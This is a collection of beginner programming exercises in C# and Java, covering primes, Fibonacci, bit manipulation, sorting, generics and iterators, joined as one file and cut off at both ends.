System.out.println("Nobody is going to the party!");
}
}
private static Predicate<String> filterBuilder(String comand, String checker) {
switch (comand) {
case "StartsWith":
return name -> name.startsWith(checker);
case "EndsWith":
return name -> name.endsWith(checker);
case "Length":
return name -> name.length() == Integer.parseInt(checker);
default:
return null;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PrimesGivenRange
{
class PrimesGivenRange
{
static List<long> FindPrimesInRange(long startNUm, long endNum)
{
List<long> primeNumbers = new List<long>();
for (long number = startNUm; number <= endNum; number++)
{
bool isPrime = true;
for (int i = 2; i <= Math.Sqrt(number); i++)
{
if (number % i == 0)
{
isPrime = false;
break;
}
}
if (number <= 1)
{
isPrime = false;
}
if (isPrime)
{
primeNumbers.Add(number);
}
}
return primeNumbers;
}
static void PrintIntegerList(List<long> numbers)
{
string str = string.Join(", ", numbers);
Console.WriteLine(str);
}
static void Main()
{
long start = long.Parse(Console.ReadLine());
long end = long.Parse(Console.ReadLine());
//List<long> listIntegers = FindPrimesInRange(start, end);
PrintIntegerList(FindPrimesInRange(start, end));
}
}
}
<file_sep>using System;
class SomeFibonacciPrimes
{
static void Main()
{
int first = 0;
int second = 1;
int third = 0;
int n = 3;
Console.WriteLine("1." + first);
Console.WriteLine("2." + second);
for (int i = 0; i < 20; i++)
{
third = first + second;
if (third == 89 || third == 547 || third == 1597)
{
Console.Write("----->");
}
Console.WriteLine("{0}." + third, n++);
first = second;
second = third;
}
}
}
<file_sep>using System;
class OddOrEvenIntegers
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
bool isOdd = number % 2 != 0;
Console.WriteLine(isOdd);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class _11GetOddEvenElements {
public static void main(String[] args) {
Scanner scaner = new Scanner(System.in);
String[] line1 = scaner.nextLine().split(" ");
String[] line2 = scaner.nextLine().split(" ");
int[] arr = new int[line1.length];
for (int i = 0; i < line1.length; i++) {
arr[i] = Integer.parseInt(line1[i]);
}
int numberOfElements = Integer.parseInt(line2[1]);
String oddOrEven = line2[2];
List<Integer> outputList = getElements(arr, numberOfElements, oddOrEven);
for (int i = 0; i < outputList.size(); i++) {
System.out.print(outputList.get(i) + " ");
}
scaner.close();
}
static List<Integer> getElements(int[] array, int numberOfElements, String oddOrEven) {
List<Integer> list = new ArrayList<>();
if (oddOrEven.equals("odd")) {
for (int i = 0; i < array.length; i++) {
if (array[i] % 2 != 0) {
list.add(array[i]);
}
}
} else {
for (int i = 0; i < array.length; i++) {
if (array[i] % 2 == 0) {
list.add(array[i]);
}
}
}
if (numberOfElements < list.size()) {
int diff = list.size() - numberOfElements;
for (int i = list.size() - 1; i >= numberOfElements; i--) {
list.remove(i);
}
}
return list;
}
}
<file_sep>using System;
class VariableInHexadecimalFormat
{
static void Main()
{
int hexadecimal = 0xFE;
Console.WriteLine(hexadecimal);
}
}
<file_sep>using System;
class Average
{
static void Main()
{
Console.WriteLine("Enter three numbers on a diferent line: ");
double num1 = double.Parse(Console.ReadLine());
double num2 = double.Parse(Console.ReadLine());
double num3 = double.Parse(Console.ReadLine());
double average = (num1 + num2 + num3) / 3;
Console.WriteLine("{0:f5}", average);
}
}
<file_sep>using System;
class BiggestOf3Numbers
{
static void Main()
{
double a = double.Parse(Console.ReadLine());
double b = double.Parse(Console.ReadLine());
double c = double.Parse(Console.ReadLine());
//if (firstNum >= secondNum && firstNum >= thirdNum)
//{
// Console.WriteLine(firstNum);
//}
//else if (secondNum >= firstNum && secondNum >= thirdNum)
//{
// Console.WriteLine(secondNum);
//}
//else if (thirdNum >= firstNum && thirdNum >= secondNum)
//{
// Console.WriteLine(thirdNum);
//}
if (a > b)
{
if (a > c)
{
Console.WriteLine("The bigest number is: {0}", a);
}
else
{
Console.WriteLine("The bigest number is: {0}", c);
}
}
else
{
if (b > c)
{
Console.WriteLine("The bigest number is: {0}", b);
}
else
{
Console.WriteLine("The bigest number is: {0}", c);
}
}
}
}
<file_sep>using System;
class PthBit
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int inputNumber = int.Parse(Console.ReadLine());
Console.Write("Enter the position of the bit you want to see: ");
int position = int.Parse(Console.ReadLine());
int bit = (inputNumber & 1 << position) >> position;
Console.WriteLine(bit);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class ExchangeIfGreater
{
static void Main()
{
double firstInput = double.Parse(Console.ReadLine());
double secondInput = double.Parse(Console.ReadLine());
if (firstInput > secondInput)
{
firstInput = firstInput + secondInput;
secondInput = firstInput - secondInput;
firstInput = firstInput - secondInput;
Console.WriteLine("{0} {1}", firstInput, secondInput);
}
else
{
Console.WriteLine("{0} {1}", firstInput, secondInput);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AverageLoadTimeCalculator
{
class AverageLoadTimeCalculator
{
static void Main()
{
string input = Console.ReadLine();
Dictionary<string, double> dictionary = new Dictionary<string, double>();
Dictionary<string, int> newDictionary = new Dictionary<string, int>();
while (input != string.Empty)
{
string[] inputArr = input.Split(' ');
string adres = inputArr[2];
double time = double.Parse(inputArr[3]);
if (!dictionary.ContainsKey(adres))
{
dictionary.Add(adres, time);
newDictionary.Add(adres, 1);
}
else
{
dictionary[adres] += time;
newDictionary[adres] += 1;
}
input = Console.ReadLine();
}
List<string> stringAdresis = new List<string>();
List<double> avarages = new List<double>();
foreach (var item in dictionary)
{
stringAdresis.Add(item.Key);
}
for (int i = 0; i < dictionary.Count; i++)
{
avarages.Add(dictionary[stringAdresis[i]] / newDictionary[stringAdresis[i]]);
}
foreach (var adres in dictionary)
{
Console.WriteLine("{0} -> {1}", adres.Key, adres.Value);
}
foreach (var adres in newDictionary)
{
Console.WriteLine("{0} -> {1}", adres.Key, adres.Value);
}
for (int i = 0; i < stringAdresis.Count; i++)
{
Console.WriteLine("{0} -> {1}", stringAdresis[i], avarages[i]);
}
}
}
}
<file_sep>package pr07_CarSalesman;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.*;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
int engineCount = Integer.parseInt(reader.readLine());
List<Engine> engines = new ArrayList<>();
for (int i = 0; i < engineCount; i++) {
String[] input = reader.readLine().split("\\s+");
String engineModel = input[0];
int enginePower = Integer.parseInt(input[1]);
Engine engine = null;
if (input.length == 2) {
engine = new Engine(engineModel, enginePower);
} else if (input.length == 3) {
String thirdElement = input[2];
if (isThirdInteger(thirdElement)) {
int displacement = Integer.parseInt(thirdElement);
engine = new Engine(engineModel, enginePower, displacement);
} else {
engine = new Engine(engineModel, enginePower, thirdElement);
}
} else {//input.length == 4
int displacement = Integer.parseInt(input[2]);
String efficiency = input[3];
engine = new Engine(engineModel, enginePower, displacement, efficiency);
}
engines.add(engine);
}
int carCount = Integer.parseInt(reader.readLine());
List<Car> cars = new ArrayList<>();
for (int i = 0; i < carCount; i++) {
String[] input = reader.readLine().split("\\s+");
String carModel = input[0];
List<Engine> engs = engines.stream()
.filter(engine -> engine.getModel().equals(input[1]))
.collect(Collectors.toList());
Engine carEngine = engs.get(0);
Car car = null;
if (input.length == 2) {
car = new Car(carModel, carEngine);
} else if (input.length == 3) {
if (isThirdInteger(input[2])) {
int weight = Integer.parseInt(input[2]);
car = new Car(carModel, carEngine, weight);
} else {
car = new Car(carModel, carEngine, input[2]);
}
} else {//input.length == 4
int weight = Integer.parseInt(input[2]);
String color = input[3];
car = new Car(carModel, carEngine, weight, color);
}
cars.add(car);
}
for (Car car : cars) {
System.out.println(car);
}
}
private static boolean isThirdInteger(String thirdElement) {
try {
int number = Integer.parseInt(thirdElement);
} catch (Exception ex) {
return false;
}
return true;
}
}
<file_sep>import java.util.ArrayDeque;
import java.util.Deque;
import java.util.Scanner;
public class Pr06_TruckTour {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int countOilStations = sc.nextInt();
sc.nextLine();
Deque<String> oilStations = new ArrayDeque<>();
Deque<Integer> indexis = new ArrayDeque<>();
for (int i = 0; i < countOilStations; i++) {
oilStations.add(sc.nextLine());
indexis.add(i);
}
long totalOil = 0;
int iterationCounter = 0;
for (int i = 0; i <= countOilStations; i++) {
iterationCounter++;
if (iterationCounter > countOilStations * 2) {
break;
}
String[] input = oilStations.peek().split(" ");
int oil = Integer.parseInt(input[0]);
int distance = Integer.parseInt(input[1]);
totalOil += oil;
if (totalOil < distance) {
i = -1;
totalOil = 0;
} else {
totalOil -= distance;
}
if (i == countOilStations) {
System.out.println(indexis.peek());
break;
}
oilStations.addLast(oilStations.removeFirst());
indexis.addLast(indexis.removeFirst());
}
}
}
<file_sep>package pr04_GenericSwapMethodInteger;
import java.util.Collections;
import java.util.List;
public class Swapper<T> {
private List<T> data;
public Swapper(List<T> data) {
this.data = data;
}
public <T> void swap(int index, int indexSwappingWith) {
Collections.swap(this.data, index, indexSwappingWith);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
for (T item : data) {
sb.append(String.format("%s: %s%n", item.getClass().getName(), item));
}
return sb.toString();
}
}
<file_sep>package pr04_ShoppingSpree;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
try {
List<Person> people = new ArrayList<>();
String[] personInput = reader.readLine().split(";");
personParser(people, personInput);
List<Product> products = new ArrayList<>();
String[] productInput = reader.readLine().split(";");
productParser(products, productInput);
while (true) {
String[] input = reader.readLine().split("\\s+");
if ("END".equals(input[0])) {
break;
}
String personName = input[0];
String productName = input[1];
for (int i = 0; i < people.size(); i++) {
for (int j = 0; j < products.size(); j++) {
Person person = people.get(i);
Product product = products.get(j);
if (person.getName().equals(personName) && product.getName().equals(productName)) {
person.tryAddProduct(product);
}
}
}
}
for (int i = 0; i < people.size(); i++) {
Person person = people.get(i);
System.out.printf("%s - ", person.getName());
StringBuilder output = new StringBuilder();
for (int j = 0; j < person.getProducts().size(); j++) {
Product product = person.getProducts().get(j);
output.append(product.toString());
output.append(", ");
}
if (output.length() != 0) {
output.delete(output.length() - 2, output.length() - 1);
System.out.println(output.toString());
} else {
System.out.println("Nothing bought");
}
}
} catch (IllegalArgumentException ex) {
System.out.println(ex.getMessage());
}
}
private static void personParser(List<Person> people, String[] personInput) {
for (int i = 0; i < personInput.length; i++) {
String[] input = personInput[i].split("=");
String name = input[0];
Double money = Double.parseDouble(input[1]);
people.add(new Person(name, money));
}
}
private static void productParser(List<Product> products, String[] productInput) {
for (int i = 0; i < productInput.length; i++) {
String[] input = productInput[i].split("=");
String name = input[0];
Double cost = Double.parseDouble(input[1]);
products.add(new Product(name, cost));
}
}
}
<file_sep>using System;
class BitsExchange
{
static void Main()
{
checked
{
try
{
Console.Write("Enter an unsigned integer number: ");
uint number = uint.Parse(Console.ReadLine());
Console.WriteLine(Convert.ToString(number, 2).PadLeft(32, '0'));
uint bit3 = (number & 1 << 3) >> 3;
uint bit4 = (number & 1 << 4) >> 4;
uint bit5 = (number & 1 << 5) >> 5;
uint bit24 = (number & 1 << 24) >> 24;
uint bit25 = (number & 1 << 25) >> 25;
uint bit26 = (number & 1 << 26) >> 26;
long change24To3 = 0;
long change25To4 = 0;
long change26To5 = 0;
long change3To24 = 0;
long change4To25 = 0;
long change5To26 = 0;
if (bit3 == 0)
{
change24To3 = number & ~(1L << 24);
}
else if (bit3 == 1)
{
change24To3 = number | bit3 << 24;
}
if (bit4 == 0)
{
change25To4 = change24To3 & ~(1L << 25);
}
else if (bit4 == 1)
{
change25To4 = change24To3 | bit4 << 25;
}
if (bit5 == 0)
{
change26To5 = change25To4 & ~(1L << 26);
}
else if (bit5 == 1)
{
change26To5 = change25To4 | bit5 << 26;
}
if (bit24 == 0)
{
change3To24 = change26To5 & ~(1L << 3);
}
else if (bit24 == 1)
{
change3To24 = change26To5 | bit24 << 3;
}
if (bit25 == 0)
{
change4To25 = change3To24 & ~(1L << 4);
}
else if (bit25 == 1)
{
change4To25 = change3To24 | bit25 << 4;
}
if (bit26 == 0)
{
change5To26 = change4To25 & ~(1L << 5);
}
else if (bit26 == 1)
{
change5To26 = change4To25 | bit26 << 5;
}
Console.WriteLine(Convert.ToString(change5To26, 2).PadLeft(32, '0'));
Console.WriteLine(change5To26);
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SortingNumbers
{
class SortingNumbers
{
static void Main()
{
int n = int.Parse(Console.ReadLine());
int[] arr = new int[n];
for (int i = 0; i < arr.Length; i++)
{
arr[i] = int.Parse(Console.ReadLine());
}
Array.Sort(arr);
Console.WriteLine();
foreach (int number in arr)
{
Console.WriteLine(number);
}
}
}
}
<file_sep>using System;
class SumOfFiveNumbers
{
static void Main()
{
Console.Write("Enter 5 numbers separated by spase: ");
string[] input = Console.ReadLine().Split(' ');
//double num1 = double.Parse(input[0]);
//double num2 = double.Parse(input[1]);
//double num3 = double.Parse(input[2]);
//double num4 = double.Parse(input[3]);
//double num5 = double.Parse(input[4]);
//Console.WriteLine(num1 + num2 + num3 + num4 + num5);
double sum = 0;
for (int i = 0; i < input.Length; i++)
{
sum += double.Parse(input[i]);
}
Console.WriteLine(sum);
}
}
<file_sep>package pr04_Froggy;
import java.util.Iterator;
import java.util.List;
public class Lake<E> implements Iterable<E> {
private List<E> elements;
public Lake(List<E> elements) {
this.setElements(elements);
}
public List<E> getElements() {
return elements;
}
private void setElements(List<E> elements) {
this.elements = elements;
}
@Override
public Iterator<E> iterator() {
return new FroggIterator();
}
private class FroggIterator implements Iterator<E> {
private int index = 0;
@Override
public boolean hasNext() {
if (index >= elements.size() && index % 2 == 0) {
index = 1;
}
return index < elements.size();
}
@Override
public E next() {
E elementForReturn = elements.get(this.index);
this.index += 2;
return elementForReturn;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MatrixOfPalindromes
{
class MatrixOfPalindromes
{
static void Main()
{
string[] input = Console.ReadLine().Split(' ');
int r = int.Parse(input[0]);
int c = int.Parse(input[1]);
for (int row = 0; row < r; row++)
{
for (int col = 0; col < c; col++)
{
Console.Write("{0}{1}{2} ", (char)('a' + row), (char)('a' + col + row), (char)('a' + row));
}
Console.WriteLine();
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FibonacciNumbersMetod
{
class FibonacciNumbersMetod
{
static int Fib(int position)
{
//https://en.wikipedia.org/wiki/Fibonacci_number
int sumAndFirstNumber = 0;
int secondNumber = 1;
for (int i = 0; i < position; i++)
{
if (i == 0)
{
continue;
}
sumAndFirstNumber += secondNumber;
secondNumber = sumAndFirstNumber - secondNumber;
}
return sumAndFirstNumber;
}
static void Main()
{
int fibonacciSequencePosition = int.Parse(Console.ReadLine());
Console.WriteLine(Fib(fibonacciSequencePosition));
}
}
}
<file_sep>using System;
class BitDestroyer
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
Console.Write("Enter the position of the bit you want to set to \"0\": ");
int position = int.Parse(Console.ReadLine());
int ñumberWithChangedBit = number & (~(1 << position));
Console.WriteLine(ñumberWithChangedBit);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class LastDigit
{
static void Main()
{
Console.Write("Enter an integer number: ");
int number = 0;
bool parse = int.TryParse(Console.ReadLine(), out number);
if (parse)
{
int lastDigit = number % 10;
Console.WriteLine("The last digit is: {0}", lastDigit);
}
else
{
Console.WriteLine("Enter valid number!");
}
//try
//{
// Console.Write("Enter an integer number: ");
// int number = int.Parse(Console.ReadLine());
// int lastDigit = number % 10;
// Console.WriteLine("The last digit is: {0}", lastDigit);
//}
//catch (FormatException e)
//{
// Console.WriteLine(e.Message);
//}
}
}
<file_sep>import java.lang.reflect.Array;
import java.util.Random;
import java.util.Scanner;
import java.util.stream.IntStream;
public class _07RandomizeNumbers {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int biggerNum = scanner.nextInt();
int smallerNum = scanner.nextInt();
if (biggerNum < smallerNum){
int conteiner = biggerNum;
biggerNum = smallerNum;
smallerNum = conteiner;
} else if (biggerNum == smallerNum){
System.out.println(biggerNum);
return;
}
Random rnd = new Random();
int[] arr = new int[biggerNum - smallerNum + 1];
for (int i = 0; i < arr.length; i++) {
// Making random number from smaller to bigger number
int rndNum = rnd.nextInt(biggerNum - smallerNum + 1) + smallerNum;
// Cheking if that random number is in the array
boolean contains = false;//IntStream.of(arr).anyMatch(x -> x == rndNum);
for (int j = 0; j < i; j++) {
if (arr[j] == rndNum){
contains = true;
}
}
if (contains) {
i--;
continue;
} else{
arr[i] = rndNum;
}
}
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
scanner.close();
}
}
<file_sep>using System;
class CirclePerimeterAndArea
{
static void Main()
{
Console.Write("Enter the radius: ");
double radius = double.Parse(Console.ReadLine());
double perimeter = 2 * Math.PI * radius;
double area = Math.Pow((Math.PI * radius), 2);
Console.WriteLine("The perimeter is equal to: {0:F2}", perimeter);
Console.WriteLine("The area is equal to: {0:F2}", area);
}
}
<file_sep>import java.io.*;
public class _04_CopyJpgFile {
public static void main(String[] args) {
File picture = new File("res/picture.jpg");
File copyPicture = new File("res/my-copied-picture.jpg");
try (FileInputStream inputStream = new FileInputStream(picture)) {
FileOutputStream outputStream = new FileOutputStream(copyPicture);
//byte[] buffer = new byte[1024*20];
int bytesRead = inputStream.read();//(buffer);
while (bytesRead != -1) {
//outputStream.write(buffer);
outputStream.write(bytesRead);
bytesRead = inputStream.read();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
<file_sep>import java.util.Arrays;
import java.util.Scanner;
import java.util.function.Consumer;
import java.util.function.Function;
public class Pr05_AppliedArithmetics {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int[] numbers = Arrays.asList(sc.nextLine().split("\\s+")).stream().mapToInt(Integer::parseInt).toArray();
Consumer<int[]> printer = array -> {
for (int num : array) {
System.out.print(num + " ");
}
System.out.println();
};
while (true) {
String comand = sc.nextLine();
if ("end".equals(comand)) {
break;
}
numbers = numberOperations(numbers, functionBuilder(comand));
if ("print".equals(comand)) {
printer.accept(numbers);
}
}
}
public static Function<Integer, Integer> functionBuilder(String comand) {
switch (comand) {
case "add":
return num -> num + 1;
case "multiply":
return num -> num * 2;
case "subtract":
return num -> num - 1;
case "print":
return num -> num;
default:
return null;
}
}
public static int[] numberOperations(int[] numbers, Function<Integer, Integer> operation) {
for (int i = 0; i < numbers.length; i++) {
numbers[i] = operation.apply(numbers[i]);
}
return numbers;
}
}
<file_sep>using System;
class CalculateDivisionOfFactorials
{
static void Main()
{
int biggerNumber = int.Parse(Console.ReadLine());
int smallerNumber = int.Parse(Console.ReadLine());
double division = 0;
double factorialBig = 1;
double factorialSmal = 1;
for (int i = 2; i <= biggerNumber; i++)
{
factorialBig *= i;
if (i == smallerNumber)
{
factorialSmal = factorialBig;
}
}
division = factorialBig / factorialSmal;
Console.WriteLine(division);
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PrimeChecker
{
class PrimeChecker
{
static bool IsPrime(long integerNumber)
{
bool prime = true;
for (int i = 2; i <= Math.Sqrt(integerNumber); i++)
{
if (integerNumber % i == 0)
{
prime = false;
break;
}
}
if (integerNumber <= 1)
{
prime = false;
}
return prime;
}
static void Main()
{
long number = long.Parse(Console.ReadLine());
Console.WriteLine(IsPrime(number));
}
}
}
<file_sep>using System;
class BankAccountData
{
static void Main()
{
string firstName = "Pesho";
string middleName = "Peshev";
string lastName = "Peshev";
decimal amountOfMoney = 21.232423454353535443m;
string bankName = "\"ОББ\"";
string IBAN = "BGSTS432472947293783294";
long creditCardNumber1 = 1273777733339999;
long creditCardNumber2 = 1111222233334444;
long creditCardNumber3 = 4444222233335555;
Console.WriteLine(
@"First Name: {0}
Middle Name: {1}
Last Name: {2}
Amount of money: {3}
Bank Name: {4}
IBAN: {5}
First credit card number: {6}
Second credit card number: {7}
Third credit card number: {8}", firstName, middleName, lastName, amountOfMoney, bankName, IBAN,
creditCardNumber1, creditCardNumber2, creditCardNumber3);
}
}
<file_sep>import java.util.Arrays;
import java.util.Scanner;
import java.util.function.BiPredicate;
import java.util.function.Function;
public class Pr03_CustomMinFunction {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String line = sc.nextLine();
int[] numbers = Arrays.asList(line.split("\\s+")).
stream().
mapToInt(Integer::parseInt).
toArray();
Function<int[], Integer> minNumber = array -> {
int minNum = Integer.MAX_VALUE;
for (int i = 0; i < array.length; i++) {
BiPredicate<Integer, Integer> isSmaller = (arrNum, min) -> arrNum < (min);
if (isSmaller.test(array[i], minNum)) {
minNum = array[i];
}
}
return minNum;
};
int minNum = minNumber.apply(numbers);
System.out.println(minNum);
}
}
<file_sep>package pr06_RawData;
public class Cargo extends Engine{
private double cargoWeight;
private String cargoType;
public Cargo(double engineSpeed, double enginePower, double cargoWeight, String cargoType) {
super(engineSpeed, enginePower);
this.cargoWeight = cargoWeight;
this.cargoType = cargoType;
}
public String getCargoType() {
return cargoType;
}
}
<file_sep>using System;
class IntDoubleString
{
static void Main()
{
Console.WriteLine("Please choose a type: ");
Console.WriteLine("1 --> int");
Console.WriteLine("2 --> double");
Console.WriteLine("3 --> string");
int choose = int.Parse(Console.ReadLine());
switch (choose)
{
case 1:
Console.WriteLine("Please enter an integer: ");
int input1 = int.Parse(Console.ReadLine());
Console.WriteLine(input1 + 1);
break;
case 2:
Console.WriteLine("Please enter a double: ");
double input2 = double.Parse(Console.ReadLine());
Console.WriteLine(input2 + 1);
break;
case 3:
Console.WriteLine("Please enter a string: ");
string input3 = Console.ReadLine();
Console.WriteLine(input3 + '*');
break;
default:
Console.WriteLine("Enter valid choose!");
break;
}
}
}
<file_sep>package pr08_ShapesVolume;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Arrays;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
while (true) {
String[] input = reader.readLine().split("\\s+");
if ("End".equals(input[0])) {
break;
}
Double[] values = Arrays.stream(input)
.skip(1)
.map(Double::parseDouble)
.toArray(Double[]::new);
switch (input[0]) {
case "Cube":
System.out.printf("%.3f%n", VolumeCalculator.volume(new Cube(values[0])));
break;
case "Cylinder":
System.out.printf("%.3f%n", VolumeCalculator.volume(new Cylinder(values[0], values[1])));
break;
case "TrianglePrism":
System.out.printf("%.3f%n", VolumeCalculator.volume(new TriangularPrism(values[0], values[1], values[2])));
break;
default:
break;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BubbleSort
{
class BubbleSort
{
static int[] BubbleSortMetod(int[] array)
{
for (int i = 0; i < array.Length - 1; i++)
{
for (int j = 0; j < array.Length - 1 - i; j++)
{
if (array[j] > array[j + 1])
{
array[j] = array[j] + array[j + 1];
array[j + 1] = array[j] - array[j + 1];
array[j] = array[j] - array[j + 1];
}
}
}
return array;
}
static void Main()
{
Console.WriteLine("Enter size of the array: ");
int size = int.Parse(Console.ReadLine());
int[] array = new int[size];
Random random = new Random();
for (int i = 0; i < array.Length; i++)
{
array[i] = random.Next(0, 101);
}
BubbleSortMetod(array);
foreach (var item in array)
{
Console.Write("{0} ", item);
}
}
}
}<file_sep>package pr06_PlanckConstant;
public class Main {
public static void main(String[] args) {
System.out.println(Calculation.reducedPlanckConstant());
}
}
<file_sep>package pr06_StrategyPattern.comparators;
import _08_iteratorsAndComparators._06_strategyPattern.Person;
import java.util.Comparator;
public class PersonComparatorByName implements Comparator<Person> {
@Override
public int compare(Person person1, Person person2) {
int compareByLength = person1.getName().length() - person2.getName().length();
int compareByFirstChar = Character.compare(
person1.getName().toLowerCase().charAt(0),
person2.getName().toLowerCase().charAt(0));
if (compareByLength != 0) {
return compareByLength;
}
return compareByFirstChar;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
class Program
{
static double Power(double number, double power)
{
double pow = Math.Pow(number, power);
return pow;
}
static double Power(double number, double power, bool roundDown)
{
double pow = Math.Pow(number, power);
if (roundDown)
{
pow = Math.Floor(pow);
return pow;
}
else
{
return pow;
}
}
static void Main()
{
double num = double.Parse(Console.ReadLine());
double pow = double.Parse(Console.ReadLine());
double numOfPower = Power(num, pow, true);
Console.WriteLine(numOfPower);
}
}
<file_sep>import java.util.ArrayDeque;
import java.util.Deque;
import java.util.Objects;
import java.util.Scanner;
public class Pr03_MaximumElement {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int lines = sc.nextInt();
sc.nextLine();
Deque<Integer> stack = new ArrayDeque<>();
Deque<Integer> maxStack = new ArrayDeque<>();
maxStack.push(Integer.MIN_VALUE);
for (int i = 0; i < lines; i++) {
String[] input = sc.nextLine().split(" ");
String comand = input[0];
if ("1".equals(comand)) {
stack.push(Integer.parseInt(input[1]));
if (stack.peek() > maxStack.peek()) {
maxStack.push(stack.peek());
}
} else if ("2".equals(comand)) {
if (stack.size() > 0) {
if (Objects.equals(stack.pop(), maxStack.peek())) {
maxStack.pop();
}
}
} else {
if (stack.size() == 0) {
System.out.println(0);
} else if (stack.size() == 1) {
System.out.println(stack.peek());
} else {
System.out.println(maxStack.peek());
}
}
}
}
}
<file_sep>import java.util.Scanner;
public class Pr14_LettersChangeNumbers {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] input = sc.nextLine().split("\\s+");
double totalSum = 0;
for (int i = 0; i < input.length; i++) {
String word = input[i];
char firstChar = word.charAt(0);
char lastChar = word.charAt(word.length() - 1);
double number = Double.parseDouble(word.substring(1, word.length() - 1));
if (Character.isUpperCase(firstChar)) {
number /= (firstChar - 64);
} else {
number *= (firstChar - 96);
}
if (Character.isUpperCase(lastChar)) {
number -= (lastChar - 64);
} else {
number += (lastChar - 96);
}
totalSum += number;
}
System.out.printf("%.2f", totalSum);
}
}
<file_sep>package pr06_CustomEnumAnnotations;
import pr06_CustomEnumAnnotations.anotations.CustomAnnotation;
import pr06_CustomEnumAnnotations.enums.CardRank;
import pr06_CustomEnumAnnotations.enums.CardSuit;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String infoFor = reader.readLine();
Class<CardRank> clRank = CardRank.class;
Class<CardSuit> clSuit = CardSuit.class;
CustomAnnotation clRankAnnotation = clRank.getAnnotation(CustomAnnotation.class);
CustomAnnotation clSuitAnnotation = clSuit.getAnnotation(CustomAnnotation.class);
if (clRankAnnotation != null && clRankAnnotation.category().equals(infoFor)) {
System.out.printf("Type = %s, Description = %s.%n", clRankAnnotation.type(), clRankAnnotation.description());
}
else if (clSuitAnnotation != null && clSuitAnnotation.category().equals(infoFor)) {
System.out.printf("Type = %s, Description = %s.%n", clSuitAnnotation.type(), clSuitAnnotation.description());
}
}
}
<file_sep>package pr05_ComparingObjects;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
List<Person> people = new ArrayList<>();
while (true) {
String[] personInput = reader.readLine().split("\\s+");
if (personInput[0].equalsIgnoreCase("end")) {
break;
}
Person person = new Person(personInput[0], Integer.parseInt(personInput[1]), personInput[2]);
people.add(person);
}
Person person = people.get(Integer.parseInt(reader.readLine()) - 1);
int equalPersonCount = 0;
for (Person person1 : people) {
if (person.compareTo(person1) == 0) {
equalPersonCount++;
}
}
if (equalPersonCount <= 1) {
System.out.println("No matches");
} else {
System.out.printf("%d %d %d", equalPersonCount, people.size() - equalPersonCount, people.size());
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
class TextModification
{
static void Main()
{
string input = Console.ReadLine();
for (int i = 0; i < input.Length; i++)
{
char letter = input[i];
if (letter % 3 == 0)
{
input = input.Replace(letter, Char.ToUpper(letter));
}
}
Console.WriteLine(input);
}
}
<file_sep>import java.util.Scanner;
public class Pr03_FormattingNumbers {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int a = sc.nextInt();//will be valid for parsing the binary string
double b = sc.nextDouble();
double c = sc.nextDouble();
String binary = Integer.toBinaryString(a);
if (binary.length() > 10) {
binary = binary.substring(0, 10);
}
int intBynary = Integer.parseInt(binary);
System.out.printf("|%-10X|%010d|%10.2f|%-10.3f|", a, intBynary, b, c);
}
}
<file_sep>using System;
class NumberAsDayOfWeek
{
static void Main()
{
int numberOfWeek = 0;
bool canBeParsed = int.TryParse(Console.ReadLine(), out numberOfWeek);
while (!canBeParsed)
{
Console.WriteLine("Enter valid number: ");
canBeParsed = int.TryParse(Console.ReadLine(), out numberOfWeek);
}
switch (numberOfWeek)
{
case 1:
Console.WriteLine("Mondey");
break;
case 2:
Console.WriteLine("Tuesday");
break;
case 3:
Console.WriteLine("Wensday");
break;
case 4:
Console.WriteLine("Thursday");
break;
case 5:
